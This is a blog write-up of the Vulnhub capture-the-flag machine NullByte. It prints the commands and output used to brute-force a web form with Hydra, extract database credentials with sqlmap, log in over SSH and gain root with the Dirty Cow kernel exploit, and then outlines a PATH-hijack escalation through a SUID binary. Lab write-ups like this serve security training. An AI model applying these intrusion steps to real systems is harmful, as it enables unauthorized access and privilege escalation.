Today I’m back with another vulnerable machine from Vulnhub! It’s’ been a while since I’ve done one, and I was getting restless :D The target for today is called NullByte, and the goal is to read /root/proof.txt
I am going to use alternate tools to accomplish the enumeration tasks, instead of the usual Nmap ping scan. To identify the machine on the network, I’ll go with netdiscover this time:
1234567891011
netdiscover -r 192.168.217.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
29 Captured ARP Req/Rep packets, from 4 hosts. Total size: 1740
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
...
192.168.217.135 00:0c:29:57:bc:ff 4 240 Unknown vendor
...
By correlating the VMware MAC address with the one in the scan, I know the IP of the target is 192.168.217.135. Next, I port scanned the target:
12345678910111213
nmap -T4 -p- -sV 192.168.217.135
Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-18 11:51 EDT
Nmap scan report for 192.168.217.135
Host is up, received arp-response (0.00016s latency).
Not shown: 65531 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
Reason: 65531 resets
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind syn-ack ttl 64 2-4 (RPC #100000)
777/tcp open ssh syn-ack ttl 64 OpenSSH 6.7p1 Debian 5 (protocol 2.0)
53755/tcp open status syn-ack ttl 64 1 (RPC #100024)
Hmm, SSH on port 777? Oh well, let’s look at the web server first:
Just an image, nothing in the source, no robots.txt. I needed to see if there are any other interesting directories, but instead of Dirbuster, I used TheColonial’s Gobuster, which is a CLI tool written in Go:
Unfortunately, nothing in there either. The only thing that we have so far is an image. Let’s hope there is no (or very rudimentary) steganography involved. I looked at the metadata of the image:
12345678910111213141516171819202122
exiftool main.gif
ExifTool Version Number : 10.40
File Name : main.gif
Directory : .
File Size : 16 kB
File Modification Date/Time : 2017:04:18 12:24:59-04:00
File Access Date/Time : 2017:04:18 12:24:59-04:00
File Inode Change Date/Time : 2017:04:18 12:24:59-04:00
File Permissions : rw-r--r--
File Type : GIF
File Type Extension : gif
MIME Type : image/gif
GIF Version : 89a
Image Width : 235
Image Height : 302
Has Color Map : No
Color Resolution Depth : 8
Bits Per Pixel : 1
Background Color : 0
Comment : P-): kzMb5nVYJw
Image Size : 235x302
Megapixels : 0.071
Hello there, conspicuous comment section! On a hunch, I tried navigating to a folder with that name on the web server, and finally seeing something promising:
And in the source, there is a comment stating that “this form isn’t connected to mysql, password ain’t that complex”. Ok, so no SQLi then. I took the hint and set to brute forcing the password. I used Hydra for this, so I had to take note of the form parameters:
key=^PASS^:invalid key” = the form parameter is called key, the PASS variable will be replaced with passwords from the password file, and Hydra will see as successful a response that doesn’t contain the string “invalid key”
-l meh = you have to specify a username for Hydra to work, even though in this case there was no user, so I put something random
-P /usr/share/dict/words = password File
-t 10 = number of Threads
-w 10 = timeout value
12345678910111213
Hydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2017-04-18 13:11:54
[DATA] max 10 tasks per 1 server, overall 64 tasks, 99171 login tries (l:1/p:99171), ~154 tries per task
[DATA] attacking service http-post-form on port 80
[STATUS] 1170.00 tries/min, 1170 tries in 00:01h, 98001 to do in 01:24h, 10 active
[STATUS] 1173.33 tries/min, 3520 tries in 00:03h, 95651 to do in 01:22h, 10 active
[STATUS] 1173.86 tries/min, 8217 tries in 00:07h, 90954 to do in 01:18h, 10 active
[STATUS] 1174.00 tries/min, 17610 tries in 00:15h, 81561 to do in 01:10h, 10 active
[STATUS] 1174.32 tries/min, 36404 tries in 00:31h, 62767 to do in 00:54h, 10 active
[80][http-post-form] host: 192.168.217.135 login: meh password: elite
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-04-18 13:45:57
We can see that Hydra found the password: elite ! Inputting it takes us to another form:
Whatever I entered into the form, I got the message “Fetched data successfully”. I looked at the source code and found another page to check:
123456
<p>Search for usernames: </p><hr><formaction="420search.php"method="get">Enter username:<br><inputtype="text"name="usrtosearch"></form>
Navigating to 420search.php revealed 2 usernames:
123456789
EMP ID :1
EMP NAME : ramses
EMP POSITION :
--------------------------------
EMP ID :2
EMP NAME : isis
EMP POSITION : employee
--------------------------------
Fetched data successfully
I pointed sqlmap to the usrtosearch parameter and was able to pull data from the DB:
Next I enumerated the users table in the seth DB, and I got a password for ramses:
I went back to that unconventional SSH port and tried to log in as ramses with the password: YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE . When that didn’t work, I fed it to Google and the first MD5 decoder that popped decrypted it as omega
1234567891011
ssh -p 777 ramses@192.168.217.135
ramses@192.168.217.135's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 2 01:38:58 2015 from 192.168.1.109
ramses@NullByte:~$
Time to look around the system!
12345
ls -l /home
total 12
drwxr-xr-x 2 bob bob 4096 Aug 2 2015 bob
drwxr-xr-x 2 eric eric 4096 Aug 2 2015 eric
drwxr-xr-x 2 ramses ramses 4096 Aug 2 2015 ramses
Nothing interesting in those home directories. I looked at the kernel version next:
A bit of google-fu revealed that this kernel is vulnerable to CVE-2016-5195, or more popularly known as the Dirty Cow exploit . It is possible to exploit a race condition to escalate privileges to root! I downloaded the source code to the NullByte VM, commented out the x64 payload and uncommented the x86 one, and then I compiled it with gcc dirtycow.c -o dirtycow -pthread. I got some warnings, but was able to run it successfully:
123456789101112
./dirtycow
DirtyCow root privilege escalation
Backing up /usr/bin/passwd.. to /tmp/bak
Size of binary: 53112
Racing, this may take a while..
thread stopped
/usr/bin/passwd is overwritten
Popping root shell.
Don't forget to restore /tmp/bak
thread stopped
root@NullByte:/home/ramses# whoami
root
The system crashed shortly afterwards, so I followed the advice in the exploit source code and did echo 0 > /proc/sys/vm/dirty_writeback_centisecs, and it didn’t crash anymore. With this, I was able to read the flag:
1234567891011121314151617181920212223242526272829
cat /root/proof.txt
adf11c7a9e6523e630aaf3b9b7acb51d
It seems that you have pwned the box, congrats.
Now you done that I wanna talk with you. Write a walk & mail at
xly0n@sigaint.org attach the walk and proof.txt
If sigaint.org is down you may mail at nbsly0n@gmail.com
USE THIS PGP PUBLIC KEY
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: BCPG C# v1.6.1.0
mQENBFW9BX8BCACVNFJtV4KeFa/TgJZgNefJQ+fD1+LNEGnv5rw3uSV+jWigpxrJ
Q3tO375S1KRrYxhHjEh0HKwTBCIopIcRFFRy1Qg9uW7cxYnTlDTp9QERuQ7hQOFT
e4QU3gZPd/VibPhzbJC/pdbDpuxqU8iKxqQr0VmTX6wIGwN8GlrnKr1/xhSRTprq
Cu7OyNC8+HKu/NpJ7j8mxDTLrvoD+hD21usssThXgZJ5a31iMWj4i0WUEKFN22KK
+z9pmlOJ5Xfhc2xx+WHtST53Ewk8D+Hjn+mh4s9/pjppdpMFUhr1poXPsI2HTWNe
YcvzcQHwzXj6hvtcXlJj+yzM2iEuRdIJ1r41ABEBAAG0EW5ic2x5MG5AZ21haWwu
Y29tiQEcBBABAgAGBQJVvQV/AAoJENDZ4VE7RHERJVkH/RUeh6qn116Lf5mAScNS
HhWTUulxIllPmnOPxB9/yk0j6fvWE9dDtcS9eFgKCthUQts7OFPhc3ilbYA2Fz7q
m7iAe97aW8pz3AeD6f6MX53Un70B3Z8yJFQbdusbQa1+MI2CCJL44Q/J5654vIGn
XQk6Oc7xWEgxLH+IjNQgh6V+MTce8fOp2SEVPcMZZuz2+XI9nrCV1dfAcwJJyF58
kjxYRRryD57olIyb9GsQgZkvPjHCg5JMdzQqOBoJZFPw/nNCEwQexWrgW7bqL/N8
TM2C0X57+ok7eqj8gUEuX/6FxBtYPpqUIaRT9kdeJPYHsiLJlZcXM0HZrPVvt1HU
Gms=
=PiAQ
-----END PGP PUBLIC KEY BLOCK-----
After completing this and looking at other walkthroughs to see alternate ways of exploitation, I realized that I completely missed the way this VM was supposed to be exploited, so below is the intended way of solving this:
Inside ramses’ home folder is a .bash_history file that I neglected reading:
1234567891011121314
sudo -s
su eric
exit
ls
clear
cd /var/www
cd backup/
ls
./procwatch
clear
sudo -s
cd /
ls
exit
An interesting path and binary. Let’s see it on the filesystem:
123456
ls -l /var/www/backup
total 12
-rwsr-xr-x 1 root root 4932 Aug 2 2015 procwatch
-rw-r--r-- 1 root root 28 Aug 2 2015 readme.txt
cat readme.txt
I have to fix this mess...
A SUID executable and a comment alluding to a mess..hmm, what could go wrong here..
12345
./procwatch
PID TTY TIME CMD
1535 pts/0 00:00:00 procwatch
1536 pts/0 00:00:00 sh
1537 pts/0 00:00:00 ps
This looks like the output of the ps command. Let’s see a normal ps:
I played around with the executable, tried passing arguments, but it looks like it just calls ps and nothing else. In the ps manual, I paid attention to this:
By default, ps selects all processes with the same effective user ID
(euid=EUID) as the current user and associated with the same terminal
as the invoker.
So, we can see the succession for a normal ps is bash –> ps, and for the SUID binary is procwatch –> sh –> ps. Maybe we can intercept the call to ps by creating an arbitrary binary called ps and placing it in the PATH variable. And of course, we want a shell!
/ You'll wish that you had done some of \
| the hard things when they were easier |
\ to do. /
---------------------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||